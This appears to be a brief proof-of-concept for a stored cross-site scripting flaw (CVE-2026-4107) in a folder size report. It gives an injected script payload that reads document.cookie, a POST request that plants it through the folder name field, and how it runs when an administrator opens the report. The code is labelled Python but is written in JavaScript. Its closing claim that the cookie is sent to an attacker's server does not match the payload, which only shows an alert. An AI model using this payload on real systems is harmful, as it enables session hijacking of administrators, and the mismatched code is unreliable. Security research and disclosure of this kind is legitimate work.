The following code is for security research and authorized testing only.
python
// Proof of Concept for CVE-2026-4107
// Vulnerability Type: Stored XSS
// Affected Component: Folder Message Count and Size report
// 1. Payload Injection
// An attacker with low privileges injects the following script into a field
// that is reflected in the 'Folder Message Count and Size' report (e.g., folder name).
var maliciousPayload = '<script>alert("XSS Triggered: " + document.cookie);</script>';
// 2. Simulation of HTTP Request (Conceptual)
// POST /exchange-reports/saveData HTTP/1.1
// Host: target-server.com
// Content-Type: application/x-www-form-urlencoded
//
// folderName=' + encodeURIComponent(maliciousPayload) + '&reportType=size
console.log('Payload to inject:', maliciousPayload);
// 3. Trigger
// When an administrator navigates to the 'Folder Message Count and Size' report page,
// the application fetches the stored data without sanitization.
// The browser renders the script tag, executing the JavaScript in the admin's context.
// Result: The admin's cookie is logged or sent to the attacker's server.